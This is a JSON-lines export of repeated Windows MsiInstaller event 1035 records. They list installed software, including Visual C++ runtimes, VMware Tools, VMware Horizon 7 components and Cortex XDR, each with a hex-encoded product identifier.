{"@timestamp":1657393931263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170143}}
{"@timestamp":1657393991449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170144}}
{"@timestamp":1657393991477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170145}}
{"@timestamp":1657393991529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170146}}
{"@timestamp":1657393991569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170147}}
{"@timestamp":1657393991599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170148}}
{"@timestamp":1657393991633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170149}}
{"@timestamp":1657393991662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170150}}
{"@timestamp":1657393991688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170151}}
{"@timestamp":1657393991724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170152}}
{"@timestamp":1657393991754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170153}}
{"@timestamp":1657394051723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170154}}
{"@timestamp":1657394051750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170155}}
{"@timestamp":1657394051800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170156}}
{"@timestamp":1657394051860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170157}}
{"@timestamp":1657394051889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170158}}
{"@timestamp":1657394051919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170159}}
{"@timestamp":1657394051946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170160}}
{"@timestamp":1657394051972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170161}}
{"@timestamp":1657394052010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170162}}
{"@timestamp":1657394052037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170163}}
{"@timestamp":1657394111438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170164}}
{"@timestamp":1657394111464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170165}}
{"@timestamp":1657394111513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170166}}
{"@timestamp":1657394111556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170167}}
{"@timestamp":1657394111584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170168}}
{"@timestamp":1657394111614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170169}}
{"@timestamp":1657394111641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170170}}
{"@timestamp":1657394111669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170171}}
{"@timestamp":1657394111708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170172}}
{"@timestamp":1657394111740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170173}}
{"@timestamp":1657394171177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170174}}
{"@timestamp":1657394171205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170175}}
{"@timestamp":1657394171256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170176}}
{"@timestamp":1657394171297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170177}}
{"@timestamp":1657394171325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170178}}
{"@timestamp":1657394171356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170179}}
{"@timestamp":1657394171384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170180}}
{"@timestamp":1657394171410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170181}}
{"@timestamp":1657394171446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170182}}
{"@timestamp":1657394171474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170183}}
{"@timestamp":1657394231887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170184}}
{"@timestamp":1657394231916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170185}}
{"@timestamp":1657394231972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170186}}
{"@timestamp":1657394232011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170187}}
{"@timestamp":1657394232039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170188}}
{"@timestamp":1657394232070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170189}}
{"@timestamp":1657394232096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170190}}
{"@timestamp":1657394232124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170191}}
{"@timestamp":1657394232160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170192}}
{"@timestamp":1657394232188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170193}}
{"@timestamp":1657394291141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170194}}
{"@timestamp":1657394291168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170195}}
{"@timestamp":1657394291217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170196}}
{"@timestamp":1657394291255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170197}}
{"@timestamp":1657394291285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170198}}
{"@timestamp":1657394291315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170199}}
{"@timestamp":1657394291341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170200}}
{"@timestamp":1657394291366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170201}}
{"@timestamp":1657394291402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170202}}
{"@timestamp":1657394291428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170203}}
{"@timestamp":1657394351068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170204}}
{"@timestamp":1657394351097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170205}}
{"@timestamp":1657394351156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170206}}
{"@timestamp":1657394351198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170207}}
{"@timestamp":1657394351229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170208}}
